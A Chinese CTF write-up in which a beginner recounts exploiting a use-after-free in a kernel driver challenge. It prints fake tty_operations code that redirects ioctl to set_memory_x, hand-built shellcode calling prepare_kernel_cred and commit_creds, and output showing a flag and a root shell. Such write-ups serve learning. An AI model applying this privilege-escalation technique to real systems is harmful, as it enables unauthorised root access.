驱动新手，第一次做驱动题，拿到题目的时候一脸懵，完全不知道要干什么，只知道题目是个虚拟机，但是参数啥意思完全不知道。
好在我虽然不会翻墙google，但还是和度娘很熟的，在wiki ctf里学习了一下搭建环境的方法，又从github上面找到一个别的题目的wp作为模板，开始了我的驱动征程。
我学到的第一件事情就是mod.ko是个驱动文件，而且是elf文件，可以使用ida打开。然后就是比较熟悉的pwn界面了，里面没有调用几个函数，而且大部分都是驱动常用的，直接baidu就有详细的功能说明。虽然我的分析调试环境还没有搭建起来，但是我拼着敏锐的直觉一下就看出了最后一个kfree有问题，它free之后居然没有清空指针，涉嫌uaf。
我这里一直犯了一个错误，我以为alloc出来的空间就是参数里面的常量3520，这是普通pwn题带来的经验主义的错误，导致我在利用上面一直缺乏构思，直到我调试环境搭建好了能够查看内存才发现，kmem_cache_alloc函数申请的内存空间是由第一个参数决定的，它对应的大小是0x400。通用的tty设备的思路才被我重视起来。
因为开启smep会限制内核执行用户态的代码指令，所以我利用网上的方法尝试着构造了一个rop，使用xchg来交换eax和栈的地址来执行代码。但是很奇怪的是每次交换完，程序就报错重启了。而且显示的错误代码在网上也一直搜不到原因，浪费了N个小时之后，我才发现或者是因为虚拟机的参数设置导致的。于是我挨个查找每个参数的含义，终于发现smap这个罪魁祸首。开启smap之后居然连用户态的数据也不让访问了。
好在肯定还有办法的，在搜索smap的同时，还发现了ret2dir可以完美绕过smap和smep，于是我添加了喷射shellcode的功能，并且成功的让rip跳到了这些shellcode上，结果 虚拟机又又又重启了……
最后实在没办法，大半夜困得不行，我就把目标又看向了那个作为模板的wp，里面有一段被我注释的内容，里面有这么一个操作
fake_tty_operations->ioctl = set_memory_x;
set_memory_x？？这是什么函数？设置..内存..可执行？？
然后还有一堆类似下面一样的代码（这里粘贴的是我的wp真实代码，原有代码已经被我修改替换了）：
fake_tty_operations->ioctl = (unsigned long)target + sizeof(struct tty_operations);
memcpy(buff2,fake_tty_operations,sizeof(struct tty_operations));
unsigned char *shellcode = (unsigned char *)buff2 + sizeof(struct tty_operations);
*(unsigned short *)shellcode = 0x9090;
shellcode += 2;
*(unsigned long *)shellcode = 0x90ff3148;
shellcode += 3;
*(unsigned short *)shellcode = 0xB848;
shellcode += 2;
*(unsigned long *)shellcode = prepare_kernel_cred;
shellcode += 8;
*(unsigned short *)shellcode = 0xD0FF;
shellcode += 2;
*(unsigned long *)shellcode = 0x90c78948;
shellcode += 3;
*(unsigned short *)shellcode = 0xB848;
shellcode += 2;
*(unsigned long *)shellcode = commit_creds;
shellcode += 8;
*(unsigned short *)shellcode = 0xD0FF;
shellcode += 2;
*(unsigned char *)shellcode = 0xC3;
shellcode？？直接执行？这真是瞌睡的时候递过来一个枕头，我顿时困意全无。
没想到内核里面还有这么x的函数！直接可以把我的可控区域添加可执行属性。我都顾不得删除前面那些xchg啊、喷射啊之类的无用代码，直接把这些注释取消，修改，执行，bingo!
直接连上ssh放入目标执行，（吐槽一下，白天这个服务我一直连上没反应，好在晚上一下就成功了）打完收工。
下面是部分执行结果：
set_memory_x = 0xffffffffa0231b40
0x555556b1c010,size = f8
mmap_base: 0xa0347e19
7:*mmap_base = 0xffffffffa037bdf0
8:end!
flag{l1nux_kerne1_4_fun}
/home/pwn # $ id
id
uid=0(root) gid=0
/home/pwn # $ exit
exit
[培训]内核驱动高级班，冲击BAT一流互联网大厂工
作，每周日13:00-18:00直播授课
